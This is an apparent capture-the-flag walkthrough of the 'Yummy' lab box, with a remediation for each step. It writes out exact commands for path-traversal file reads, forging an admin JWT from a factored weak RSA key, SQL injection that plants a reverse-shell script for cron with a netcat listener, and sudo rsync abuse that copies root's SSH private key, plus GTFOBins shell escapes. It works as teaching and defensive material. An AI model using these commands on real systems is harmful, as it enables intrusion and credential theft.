← all walkthroughs

Yummy

Linux· Hard· Web
owned
2026-10-13
time to own
22m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I registered a normal customer account on the Yummy restaurant-reservation web app and exploited a path-traversal flaw to read server files, recovering the application's source code. The source revealed that login tokens were signed with an RSA key deliberately generated with a very small secondary prime, letting me factor the key in seconds and forge an administrator token. The admin dashboard's sort parameter was vulnerable to stacked SQL injection, and the database account's FILE privilege was abused to write a script that a root-owned cron job picked up, yielding code execution as the mysql service account.

Configuration data recovered from that foothold exposed a reused password for the qa user, giving SSH access and the user flag. A passwordless sudo rule let qa run rsync as the dev user with my own arguments; this was abused to copy root's SSH private key to a world-readable path, giving a root shell and the root flag.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD3="<the-password-you-recovered, for qa>"
export PASSWORD4="<the-password-you-recovered, for tester>"

Some commands also carry a value in angle brackets (<forged_jwt>, <id>, <n_from_jwt>, <name>, <reverse_shell_script>), which you replace inline with what the step before it turned up.

Attack path: how the box was taken

1EnumerationService enumeration and self-registration (MITRE ATT&CK T1595, T1136)
Mapped the web app and registered a customer account
Only SSH (22) and an HTTP service (80, a Caddy reverse proxy in front of a Flask app) were exposed, and the site required the yummy.htb virtual host. I registered a normal customer account (the API only accepts JSON request bodies) and logged in, receiving a signed X-AUTH-Token cookie that identifies the account's role and embeds the RSA public key parameters used to verify it.
POST /register returned HTTP 201 'User registered successfully'; POST /login returned HTTP 200 with a a session cookie JWT.
Exact commands 4
shell

Full TCP sweep; only 22 and 80 are open.

$ nmap -p- --min-rate=1000 -T4 $TARGET
shell

Resolve the required virtual host.

$ echo "$TARGET yummy.htb" | sudo tee -a /etc/hosts
shell

Register a customer account.

$ curl -sS -i -H 'Host: yummy.htb' -H 'Content-Type: application/json' -c cookies.txt -b cookies.txt -X POST http://$TARGET/register --data '{"email":"tester@yummy.htb","password":"'"$PASSWORD4"'"}'
shell

Log in and capture the X-AUTH-Token JWT (decode at jwt.io to read n/e).

$ curl -sS -i -H 'Host: yummy.htb' -H 'Content-Type: application/json' -c cookies.txt -b cookies.txt -X POST http://$TARGET/login --data '{"email":"tester@yummy.htb","password":"'"$PASSWORD4"'"}'
2Initial AccessPath traversal / arbitrary file read (CWE-22)
Read server files through an unsanitized export path and recovered the application source
The reservation reminder feature redirected to an export endpoint that did not sanitize its file path. URL-encoded traversal sequences (plain ../ was normalized by the reverse proxy, but encoded slashes were not) let me read arbitrary files as the web service user. This exposed the crontab, the scripts it runs, and a backup archive of the full Flask application source.
Export requests with ..%2f sequences returned /etc/crontab contents and later the app's backupapp.zip containing app.py, config/signature.py and middleware/verification.py.
Exact commands 3
shell

Create a reservation to obtain a reservation id for the reminder flow.

$ curl -sS -b cookies.txt -H 'Host: yummy.htb' -X POST http://$TARGET/book --data 'name=a&email=a@a.a&phone=1&date=2026-12-01&time=12:00&people=2&message=x'
shell

Capture the export redirect Location header for a known reservation id.

$ curl -sS -b cookies.txt -H 'Host: yummy.htb' -i "http://$TARGET/reminder/<id>"
shell

Read /etc/crontab via the traversal; repeat against /data/scripts/*.sh and /var/www/backupapp.zip.

$ curl -sS -b cookies.txt -H 'Host: yummy.htb' --path-as-is "http://$TARGET/export/..%2f..%2f..%2f..%2f..%2fetc%2fcrontab"
FixSanitize and canonicalize file paths used by the export/reminder featureHigh
WeaknessThe reservation export endpoint built a file path from request-influenced input without resolving or validating it, so URL-encoded traversal sequences let an authenticated customer read arbitrary files as the web service user.
FixResolve the requested path to an absolute canonical path and verify it falls inside the intended export directory before opening it (reject if it does not); decode and normalize the path once, after the proxy, not before; and run the web service as an account with no read access outside its own application and data directories.
3Privilege Escalation (application)Weak RSA key generation enabling key recovery, then signed-token forgery (CWE-326)
Factored the weak JWT signing key and forged an administrator token
The recovered source showed the RSA keypair backing the JWT was generated by multiplying a full-size prime with a second prime drawn from only a 20-bit range. Because the token itself discloses the public modulus, that modulus could be factored almost instantly, recovering the private signing key. A new token with the role claim set to administrator was then signed with that key, and the application's verification code trusted the claim without any other check.
config/signature.py generated the second prime with sympy.randprime(2**19, 2**20); the forged token was accepted at /admindashboard.
Exact commands 3
shell

Factor the weak modulus via the smallq attack; outputs a PEM private key.

$ python3 RsaCtfTool.py -n <n_from_jwt> -e 65537 --private
shell

Forge an RS256 token claiming the administrator role.

$ python3 -c "import jwt,time;print(jwt.encode({'email':'admin@yummy.htb','role':'administrator','iat':int(time.time()),'exp':int(time.time())+3600},open('priv.pem').read(),algorithm='RS256'))"
shell

Confirm administrator access with the forged token.

$ curl -sS -b 'X-AUTH-Token=<forged_jwt>' -H 'Host: yummy.htb' http://$TARGET/admindashboard
FixGenerate the JWT signing key with full-strength RSA primes and avoid trusting unsigned-looking claimsCritical
WeaknessThe RSA keypair used to sign authentication tokens was generated with one prime drawn from only a 20-bit range, making the public modulus (which the token itself discloses) trivially factorable and letting an unauthorised user recover the private key and forge a token for any role.
FixGenerate RSA keys with a vetted library (e.g. cryptography's rsa.generate_private_key with key_size>=2048, letting both primes be chosen at full strength) instead of custom prime selection, and rotate the existing key immediately. Additionally, do not let a client-supplied token claim carry its own key parameters; verify against a server-held public key only.
4ExploitationSQL injection with stacked queries and file write via database FILE privilege (CWE-89), executed through a scheduled task (MITRE ATT&CK T1053.003)
Abused stacked SQL injection and database FILE privilege for code execution as the mysql account
The admin dashboard built its ORDER BY clause by directly concatenating a request parameter, and the database connection allowed multiple statements per query. The database account also held the FILE privilege. I used a stacked query to write a script into a path a cron job executed on a schedule as the mysql service account, giving an interactive shell in that context.
A reverse shell connected back showing id output of uid=110(mysql) gid=110(mysql) groups=110(mysql), with the shell's working directory at /var/spool/cron.
Exact commands 3
shell

Sqli_req is a saved /admindashboard request with the 'o' parameter and the forged admin cookie; confirms stacked and time-based injection.

$ sqlmap -r sqli_req --batch --level 5 --risk 3 --random-agent
shell

Write a script that a cron job running as mysql will pick up; substitute $ATTACKER_IP/port in the script body.

$ curl -sS -b 'X-AUTH-Token=<forged_jwt>' -H 'Host: yummy.htb' --get "http://$TARGET/admindashboard" --data-urlencode 'o=ASC; select "<reverse_shell_script>" into outfile "/data/scripts/<name>.sh"; -- -'
shell

Catch the resulting shell once the cron job runs the written script.

$ nc -lvnp 5555
FixParameterize the admin dashboard sort query and remove unnecessary database privilegesCritical
WeaknessThe admin dashboard concatenated a request parameter directly into a SQL ORDER BY clause, and the connection allowed multiple statements per query; combined with the database account's FILE privilege, this let an unauthorised user write an executable script to disk via stacked SQL injection.
FixUse parameterized queries or an allow-list of valid sort columns instead of string interpolation; disable multi-statement execution on the connection; and revoke the FILE privilege from the application's database account, granting only the minimum privileges the app needs.
5Lateral MovementCredential reuse recovered from configuration/history files (MITRE ATT&CK T1552.001, T1078)
Recovered the qa user's reused password and obtained an SSH session
From the mysql foothold, configuration and version-history files on the host contained database credentials for a 'qa' account. The same password was reused for the qa operating-system login, giving me an interactive SSH session and read access to the user flag.
Sshpass -p <withheld> ssh qa@$TARGET id returned uid=1001(qa) gid=1001(qa) groups=1001(qa); /home/qa/user.txt was then read.
Exact commands 2
shell

Validate the recovered qa credential.

$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no qa@$TARGET id
shell

Read the user flag; replace the printed value with <user.txt>.

$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no qa@$TARGET 'cat /home/qa/user.txt'
FixEliminate credential reuse between database and OS/SSH accountsHigh
WeaknessA database password left in configuration/version history was identical to the qa operating-system account's SSH password, so compromising the database credential directly yielded an interactive host login.
FixUse distinct, randomly generated credentials for database and OS accounts; store database passwords in a secrets manager rather than scripts or version-controlled files; and rotate the qa password.
6Privilege Escalation (host)Sudo rule misuse via rsync argument injection (GTFOBins-style privilege escalation, MITRE ATT&CK T1548.003)
Abused a passwordless sudo rule to exfiltrate root's SSH private key
As qa, sudo rules showed passwordless permission to run rsync as the dev user against a fixed source directory. Rsync's ability to take an additional explicit source path and a --chmod option was used to copy root's private SSH key out of /root/.ssh and make the copy world-readable in I could reach, bypassing the intended restriction to app-production files.
Sudo -n -l showed '(root: root) NOPASSWD: /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* /opt/app/'; the key was copied to /opt/app/id_rsa and began with BEGIN OPENSSH PRIVATE KEY.
Exact commands 4
shell

Enumerate qa's passwordless sudo rights as dev.

$ sudo -n -l
shell

Abuse the sudo rsync rule to copy and relax permissions on root's private key.

$ sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/ -p --chmod=Du=rwx,Dg=rx,Do=rx,Fu=rw,Fg=r,Fo=r /root/.ssh/id_rsa /opt/app/
shell

Confirm root access with the exfiltrated key.

$ ssh -i /opt/app/id_rsa root@$TARGET id
shell

Read the root flag; replace the printed value with <root.txt>.

$ ssh -i /opt/app/id_rsa root@$TARGET cat /root/root.txt
FixRestrict the sudo rsync rule to fixed, non-abusable argumentsCritical
WeaknessA NOPASSWD sudo rule let the qa user run rsync as the dev user with the trailing portion of the command line still externally controlled, allowing an additional source path and a --chmod flag to be appended that copied root's private SSH key to a world-readable location.
FixPin the sudo rule to the exact full command with no trailing wildcard (no partial argument match), or wrap the required rsync operation in a dedicated script with hard-coded arguments and grant sudo only on that script; remove the dev-scoped rsync/hg sudo entries entirely if they are not required for normal operations.

Attack patterns used

The transferable techniques behind this compromise.

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic: bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary: e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22/tcp
80/tcp